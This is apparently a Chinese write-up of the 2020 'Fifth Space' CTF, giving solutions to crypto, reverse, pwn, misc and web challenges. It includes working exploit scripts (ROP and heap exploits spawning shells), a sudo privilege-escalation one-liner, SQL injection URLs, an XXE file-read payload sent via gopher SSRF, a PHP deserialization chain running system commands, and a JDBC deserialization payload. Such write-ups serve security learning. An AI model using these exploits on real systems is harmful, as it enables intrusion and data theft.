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“第五空间”智能安全大赛部分WP
2020-06-28 13:40

第五空间6月24日比赛的部分WP.

目录

1_副本.png

crypto

rosb

rsa共模攻击,网上找了个板子改了改

rom gmpy2 import *

import libnum

n = 0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97d9f508721e3dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d16912de1f0f1a2bba52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bfeb075803cf610f27b7b16147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de54044e7b778e21082c4c4da795d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da0d9a0d8a3c1a3607ce983deb350e1c649725cccb0e9d756fc3107dd4352aa18c45a65bab7772a4c5aef7020a1e67e6085cc125d9fc042d96489a08d885f448ece8f7f254067dfff0c4e72a63557

e1 = 0xf4c1158f

c1 = 0x2f6546062ff19fe6a3155d76ef90410a3cbc07fef5dff8d3d5964174dfcaf9daa003967a29c516657044e87c1cbbf2dba2e158452ca8b7adba5e635915d2925ac4f76312feb3b0c85c3b8722c0e4aedeaec2f2037cc5f676f99b7260c3f83ffbaba86cda0f6a9cd4c70b37296e8f36c3ceaae15b5bf0b290119592ff03427b80055f08c394e5aa6c45bd634c80c59a9f70a92dc70eebec15d4a5e256bf78775e0d3d14f3a0103d9ad8ea6257a0384091f14da59e52581ba2e8ad3adb9747435e9283e8064de21ac41ab2c7b161a3c072b7841d4a594a8b348a923d4cc39f02e05ce95a69c7500c29f6bb415c11e4e0cdb410d0ec2644d6243db38e893c8a3707

e2 = 0xf493f7d1

c2 = 0xd32dfad68d790022758d155f2d8bf46bb762ae5cc17281f2f3a8794575ec684819690b22106c1cdaea06abaf7d0dbf841ebd152be51528338d1da8a78f666e0da85367ee8c1e6addbf590fc15f1b2182972dcbe4bbe8ad359b7d15febd5597f5a87fa4c6c51ac4021af60aeb726a3dc7689daed70144db57d1913a4dc29a2b2ec34c99c507d0856d6bf5d5d01ee514d47c7477a7fb8a6747337e7caf2d6537183c20e14c7b79380d9f7bcd7cda9e3bfb00c2b57822663c9a5a24927bceec316c8ffc59ab3bfc19f364033da038a4fb3ecef3b4cb299f4b600f76b8a518b25b576f745412fe53d229e77e68380397eee6ffbc36f6cc734815cd4065dc73dcbcb


s = gcdext(e1, e2)

s1 = s[1]

s2 = -s[2]


c2 = invert(c2, n)

m = (pow(c1,s1,n) * pow(c2 , s2 , n)) % n

print(hex(m))

s=hex(m)[2:]

result=""

for i in range(len(s)/2):

    result+=chr(int(s[2*i:2*i+2],16))

print(result[:-64])

# g0od_go0d_stu4y_d4yd4y_Up

re

nop

main函数里存在三个需要nop的反调试的函数(共五处),nop后的逻辑是:输入数字,然后通过eax一直加(大约是反调试jump的次数)+0xCCCCCCCC,最后的值用于在函数sub_8048691中patch eax和eax+1的值为0x90。因此正确的patch才能跳转到right处,由于中间eax+1有点多不想数b,所以大概算了个值(考虑一下32位溢出),然后前后遍历了一小段数字,得到flag为99357990

rev

本意是一个rop导向的逆向题,但写trace太麻烦了,所以试了下angr的模板,正好可以用,注意一下输入参数为argv1

111.jpg

pwn

twice

第一次溢出一个字节用于泄露canary和栈地址,第二次溢出0x20字节,其中除了填写canary外,rbp位置存放字符串起始栈地址-8,返回地址填leave ret,这样就可以多出88字节的ROP。ROP主体为puts泄露libc地址、read往bss(也可以继续往栈上)写入system("/bin/sh\x00")的另一段ROP,最后栈转移,正好`88字节。


from pwn import *

from LibcSearcher import LibcSearcher


e = ELF("./pwn")

libc = e.libc


if args.I:

    context.log_level = 'debug'

if args.R:

    p = remote('121.36.59.116', 9999)

else:

    p = process(e.path)  #, env = {'LD_PRELOAD': LIBC})


p.sendafter(">", "A"*89)


p.recvuntil("A"*89)



canary = u64(p.recv(7).rjust(8, b'\0'))

stack = u64(p.recv(6).ljust(8, b'\0'))

print(hex(canary))

print(hex(stack))


p.recvuntil(">")


pop_rdi_ret = 0x400923

pop_rsi_r15_ret = 0x400921

pop_rsp_13_14_15_ret = 0x40091d

leave_ret = 0x400879

bss = 0x601400


payload = p64(pop_rdi_ret)

payload += p64(e.got['puts'])

payload += p64(e.plt['puts'])

payload += p64(pop_rsi_r15_ret)

payload += p64(bss)

payload += p64(0)

payload += p64(pop_rdi_ret)

payload += p64(0)

payload += p64(e.plt['read'])

payload += p64(pop_rsp_13_14_15_ret)

payload += p64(bss)


print(len(payload))


p.send(payload+p64(canary)+p64(stack-0x18-88-8)+p64(leave_ret))


p.recvline()


puts_addr = u64(p.recv(6).ljust(8, b'\0'))


print(hex(puts_addr))


libcsearch = LibcSearcher('puts', puts_addr)

libcbase = puts_addr - libcsearch.dump('puts')

system_addr = libcbase + libcsearch.dump('system')

binsh_addr = libcbase + libcsearch.dump('str_bin_sh')


p.send(p64(0)*3+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr))


# print(p.pid)

p.interactive()

运行实例:

2_副本.png

print(p.pid)

p.interactive()

pwnme

因为除了off-one-null-byte外更严重的是有任意长度堆溢出的操作,一开始想的是使用overlapping,但因为环境一直搭不起来拿不到unsortedbin的偏移,又看到没开PIE并且GOT表可写,所以最后换了unlink来做。unlink后泄露free地址再填入system地址一把梭。

from pwn import *

from LibcSearcher import LibcSearcher


e = ELF("./a.out")

libc = ELF("./lib/libuClibc-1.0.34.so")

# libc = e.libc


if args.I:

    context.log_level = 'debug'

if args.R:

    p = remote('121.36.58.215', 1337)

else:

    p = process(e.path)  #, env = {'LD_PRELOAD': LIBC})


def Show():

    p.sendlineafter(">>> ", '1')


def Add(lenth, tag):

    p.sendlineafter(">>> ", '2')

    p.sendlineafter("Length:", str(lenth))

    p.sendafter("Tag:", tag)


def Change(ind, lenth, tag):

    p.sendlineafter(">>> ", '3')

    p.sendlineafter("Index:", str(ind))

    p.sendlineafter("Length:", str(lenth))

    p.sendafter("Tag:", tag)


def Remove(ind):

    p.sendlineafter(">>> ", '4')

    p.sendlineafter("Tag:", str(ind))


chunk = 0x21068

ptr = chunk+4+8

Add(0x50, 'yuri') # 0

Add(0x100, 'yuri') # 1 

Add(0xf8, 'yuri') # 2

Add(0x50, '/bin/sh\x00') # 3


Change(1, 0x100+4, b'\0'*8 + p32(ptr-3*4) + p32(ptr-2*4) + b'\0'*240 + p32(0x108-2*4))


Remove(2)


Change(1, 7, p32(0x50) + p32(e.got['free'])[:-1])


Show()


p.recvuntil(" : ")

base = u32(p.recv(4)) - libc.symbols['free']


Change(0, 4, p32(base + libc.symbols['system']))


Remove(3)


# print(p.pid)

p.interactive()

运行实例:

3_副本.png

of

只给源码的pwn,先把tcache填满使得后续堆块释放到fastbin,然后利用scanf触发malloc_consolidate释放到unsortedbin泄露libc地址,最后便是常规改__free_hook的操作。这里比较奇怪的是泄露的unsortedbin的地址多了0x100,第一次见这种操作。

from pwn import *

from LibcSearcher import LibcSearcher


# e = ELF("./pwn")

libc = ELF("./libc-2.27.so")


if args.I:

    context.log_level = 'debug'

r = remote('121.36.74.70', 9999)



def allocate(ind):

    r.sendlineafter("Your choice: ", "1")

    r.sendlineafter("Index: ", str(ind))



def delete(ind):

    r.sendlineafter("Your choice: ", "4")

    r.sendlineafter("Index: ", str(ind))


def show(ind):

    r.sendlineafter("Your choice: ", "3")

    r.sendlineafter("Index: ", str(ind))

    r.recvuntil("Content: ")

    return r.recv(0x100-8)


def edit(ind, content):

    r.sendlineafter("Your choice: ", "2")

    r.sendlineafter("Index: ", str(ind))

    r.sendafter("Content: ", content)


for i in range(7):

    allocate(i)


allocate(7)

allocate(8)


for i in range(7):

    delete(i)


delete(7)

for i in range(7):

    allocate(i)

allocate(9) # 7 == 9


for i in range(7):

    delete(i)


delete(7)


r.sendlineafter("Your choice: ", '7'*0x500)


base = u64(show(9)[:8]) - 96 - 0x10 - libc.symbols['__malloc_hook'] - 0x100


free_hook_addr = base + libc.symbols['__free_hook']

system_addr = base + libc.symbols['system']


print(hex(base))


for i in range(7):

    allocate(i)


allocate(7)

delete(7)


edit(9, p64(free_hook_addr-8))

allocate(10)

allocate(10)

edit(10, b'/bin/sh\x00' + p64(system_addr))


delete(10)


r.interactive()

4_副本.png

misc

签到

flag{https://5space.360.cn}

麒麟系统

提权root权限,访问/root/flag,获取内容

user:kylin-user pwd:FifthSpace360

118.26.139.133:22

IP地址更换118.26.139.133:22

sudo配置不当可以以root权限执行

sudo -u#-1 cat /root/flag

loop

tar和zip循环解压,用下面的脚本跑五六次差不多能拿到flag的文件

222.jpg

philosophy

一开始打算当作逆向来做,但使用DIE看时发现资源区段显示加壳,很可疑。

5_副本.png

查看资源区段,果然有FL4G字样。

6_副本.png

因此直接用Resource Hacker查看,发现非常明显的PNG结构特征。

7_副本.png

提出来改一下PNG头前四个字节即可看到FLAG。

8_副本.png

run

很大的run.exe,win10桌面显示是个word,想起来word本来也是压缩包,解压了一下拿到一个word和一个小的run.exe,跑了一下发现出来一个tif文件

9_副本.png

改了后缀以后用ps打开,黑色块可以移动,移开后得到

0_副本.png

而tif文件的最后有run.exe加上的run->njCp1HJBPLVTxcMhUHDPwE7mPW,因此试了下有无flag{}``,有无run->`,最后正确的是

333.jpg

web

hate-php

没有过滤 ()~直接用取反,unicode字符用url编码

phpinfo验证

444.jpg

do you know

index.php的限制条件可以随意填写,只要符合条件就可以了

555.jpg

foreach循环中会遍历$_GET并把遍历最后的值赋给url,此处存在SSRF可以访问 xxe.php

xxe.php处存在XXE漏洞,但是需要绕过过滤,不过这个过滤只过滤一次,所以直接双写就可以了

$data = isset($_POST['data'])?trim($_POST['data']):'';

$data = preg_replace("/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",'',$data);

问题在于xxe需要post访问,我们现在有SSRF所以使用gopher可以发出post包

XXE payload

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY a SYSTEM "php://filter/convert.base64-encode/resource=./flflagag.php">]>

<user>&a;</user>  

用 gopher 发送

666.jpg

得到flag ,base 解码一下

777.jpg

美团外卖

源码www.zip

审计发现,daochu.php存在sql语句,并且与login比起来,没有过滤

http://119.3.183.154/daochu.php?type=1&imei="union%20select%201,2,3,4,5,database()%23


database() == cms


http://119.3.183.154/daochu.php?type=1&imei="union%20select%201,2,3,4,5,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()%23



    <td>admin,content,hint,mac,sms</td>



http://119.3.183.154/daochu.php?type=1&imei="union%20select%201,2,3,4,5,(select+*+from+hint)%23


see_the_dir_956c110ef9decdd920249f5fed9e4427

发现给了路径,但是暂时还不知道什么用

继续审计

发现有ueditor和webuploader,需要结合hint中的路径访问

在webuploader里有preview.php可以上传图片

11_副本.png

payload

888.jpg

12_副本.png

!!!! Congratulations on infiltrating here, but it's a pity that someone has infiltrated and left a Trojan, do not continue here , please see the e98a4571cf72b798077d12d6c94629.php !!!!! 

13_副本.png

这里???

啥意思

get file。。。

我的shell呢?

14_副本.png


。。。。。

天才出题人

flag{g879aee87y8501c1deab01c7b54f2fa9}

laravel(unsolved)

寻找POP链

namespace Symfony\Component\Routing\Loader\Configurator{

    class ImportConfigurator{

        protected $parent;

        protected $route;

        public function __construct($parent,$route){

              $this->parent=$parent;

              $this->route=$route;

        }

    }

}

namespace Faker {

    class Generator {

        protected $formatters = array();


        public function __construct($formatters)

{

            $this->formatters = $formatters;

        }

    }

}



namespace{

    $generator = new Faker\Generator(array("addCollection"=>"system"));

    $exp = new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($generator,"cat /flag");

    echo urlencode(serialize($exp));

}

flag{90569859b0164266ef04461bbc1d5cc5}

zzm blog(unsolved)

CVE-2019-12086

配合 JDBC autoDeserialize 绕过黑名单

https://www.cnblogs.com/xinzhao/p/11005419.htmlhttps://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf

{"id":["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://ip:port/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections7_ping test.com"]}


CTF实验室

https://www.hetianlab.com/pages/CTFLaboratory.jsp

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